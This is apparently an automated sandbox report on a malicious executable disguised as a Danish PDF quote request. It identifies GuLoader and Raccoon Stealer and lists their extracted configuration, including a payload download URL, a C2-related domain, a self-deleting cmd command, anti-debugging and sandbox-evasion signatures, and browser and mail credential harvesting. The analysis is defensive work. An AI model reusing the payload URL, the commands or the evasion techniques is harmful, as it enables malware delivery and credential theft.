Play interactive tour

Edit tour

Analysis Report Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Overview

General Information

Sample Name:	Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Analysis ID:	385424
MD5:	ff684bf547b6f692c53f80779dc5ee7b
SHA1:	fe4116a2cfa9cadde500c900f605742d5ddabf10
SHA256:	5cc3fcd6bc68db6107493ae5a1d9adfaa4cc210195c2c5f05d3059cd35ba2e09
Tags:	GuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader Raccoon

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Yara detected Raccoon Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to hide a thread from the debugger

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Yara detected VB6 Downloader Generic

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Is looking for software installed on the system

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

Anmodning om tilbud 12-04-2021#U00b7pdf.exe (PID: 6976 cmdline: 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe' MD5: FF684BF547B6F692C53F80779DC5EE7B)

Anmodning om tilbud 12-04-2021#U00b7pdf.exe (PID: 4552 cmdline: 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe' MD5: FF684BF547B6F692C53F80779DC5EE7B)

cmd.exe (PID: 6828 cmdline: cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 7096 cmdline: timeout /T 10 /NOBREAK MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1EVgv79jm2Kha80e4t5kPPRtQGH8glBYc"}

Threatname: Raccoon Stealer

{"Config: ": ["00000000 -> Raccoon | 1.7.3", "Build compile date: Sat Feb 27 21:25:06 2021", "Launched at: 2021.04.12 - 11:46:46 GMT", "Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user", "Running on a desktop", "-------------", "- Cookies: 1", "- Passwords: 0", "- Files: 0", "System Information:", "- System Language: English", "- System TimeZone: +1 hrs", "- IP: 84.17.52.3", "- Location: 47.431702, 8.575900 | Zurich, Zurich, Switzerland (8152)", "- ComputerName: 128757", "- Username: user", "- Windows version: NT 10.0", "- Product name: Windows 10 Pro", "- System arch: x64", "- CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)", "- RAM: 8191 MB (5413 MB used)", "- Screen resolution: 1280x1024", "- Display devices:", "0) Microsoft Basic Display Adapter", "-------------", "Installed Apps:", "Adobe Acrobat Reader DC (19.012.20035)", "Adobe Refresh Manager (1.8.0)", "Google Chrome (85.0.4183.121)", "Google Update Helper (1.3.35.451)", "Java 8 Update 211 (8.0.2110.12)", "Java Auto Updater (2.8.211.12)", "Update for Skype for Business 2016 (KB4484286) 32-Bit Edition", "-------------"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 6976	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1EVgv79jm2Kha80e4t5kPPRtQGH8glBYc"}
Source: machineinfo.txt.12.dr.binstr	Malware Configuration Extractor: Raccoon Stealer {"Config: ": ["00000000 -> Raccoon \| 1.7.3", "Build compile date: Sat Feb 27 21:25:06 2021", "Launched at: 2021.04.12 - 11:46:46 GMT", "Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user", "Running on a desktop", "-------------", "- Cookies: 1", "- Passwords: 0", "- Files: 0", "System Information:", "- System Language: English", "- System TimeZone: +1 hrs", "- IP: 84.17.52.3", "- Location: 47.431702, 8.575900 \| Zurich, Zurich, Switzerland (8152)", "- ComputerName: 128757", "- Username: user", "- Windows version: NT 10.0", "- Product name: Windows 10 Pro", "- System arch: x64", "- CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)", "- RAM: 8191 MB (5413 MB used)", "- Screen resolution: 1280x1024", "- Display devices:", "0) Microsoft Basic Display Adapter", "-------------", "Installed Apps:", "Adobe Acrobat Reader DC (19.012.20035)", "Adobe Refresh Manager (1.8.0)", "Google Chrome (85.0.4183.121)", "Google Update Helper (1.3.35.451)", "Java 8 Update 211 (8.0.2110.12)", "Java Auto Updater (2.8.211.12)", "Update for Skype for Business 2016 (KB4484286) 32-Bit Edition", "-------------"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: telete.in

Virustotal: Detection: 11%

Perma Link

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 216.58.215.225:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.225.248:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.123.215.115:443 -> 192.168.2.4:49762 version: TLS 1.2

Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\gfx\angle\targets\libEGL\libEGL.pdb source: libEGL.dll.12.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: api-ms-win-crt-locale-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libprldap\prldap60.pdb source: prldap60.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb source: IA2Marshal.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: api-ms-win-core-file-l1-2-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr
Source:	Binary string: ucrtbase.pdb source: ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: api-ms-win-core-memory-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.12.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: api-ms-win-crt-stdio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: api-ms-win-core-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: api-ms-win-core-util-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: api-ms-win-core-synch-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: api-ms-win-crt-environment-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb source: nssckbi.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp, mozglue.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.12.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: api-ms-win-crt-private-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: api-ms-win-crt-convert-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\ipc\win\handler\AccessibleHandler.pdb source: AccessibleHandler.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: nssdbm3.dll.12.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapihook\build\MapiProxy.pdb source: MapiProxy_InUse.dll.12.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: api-ms-win-core-profile-l1-1-0.dll.12.dr
Source:	Binary string: ucrtbase.pdbUGP source: ucrtbase.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.12.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: api-ms-win-crt-time-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb66 source: nssckbi.dll.12.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: api-ms-win-core-handle-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3.dll.12.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: api-ms-win-core-processenvironment-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb<< source: IA2Marshal.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp, mozglue.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.12.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.12.dr
Source:	Binary string: ms-win-core-memory-l1-1-0.pdb source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880884389.000000006698B000.00000004.00000001.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: api-ms-win-core-localization-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.12.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapiDLL\mozMapi32.pdb source: mozMapi32.dll.12.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: api-ms-win-core-timezone-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: api-ms-win-core-string-l1-1-0.dll.12.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: api-ms-win-core-file-l2-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: api-ms-win-crt-process-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\config\external\lgpllibs\lgpllibs.pdb source: lgpllibs.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: api-ms-win-core-interlocked-l1-1-0.dll.12.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\crashreporter\injector\breakpadinjector.pdb source: breakpadinjector.dll.12.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: api-ms-win-crt-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.12.dr

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00403E7A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00403E7A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_0040445A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040445A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404C77
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404C77
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404015
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404015
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404839
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404839
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004044C9
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004044C9
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404CDD
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404CDD
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004040F0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004040F0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404081
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404081
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004048AA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004048AA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004050B5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004050B5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404D43
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404D43
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_0040415D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040415D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404915
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404915
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00405123
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00405123
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404538
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404538
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004041C0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004041C0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004051EE
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004051EE
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004049F8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004049F8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404987
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404987
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00405190
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00405190
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404DAA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404DAA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004045B2
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004045B2
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00405257
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00405257
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404A65
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404A65
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404E11
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404E11
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_0040461C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040461C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404230
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404230
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00403EC3
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00403EC3
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404AC5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404AC5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004052CF
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004046EA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004046EA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_0040468B
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040468B
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404E8E
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404E8E
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004042A4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004042A4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404753
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404753
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404F6D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404F6D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404F07
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404F07
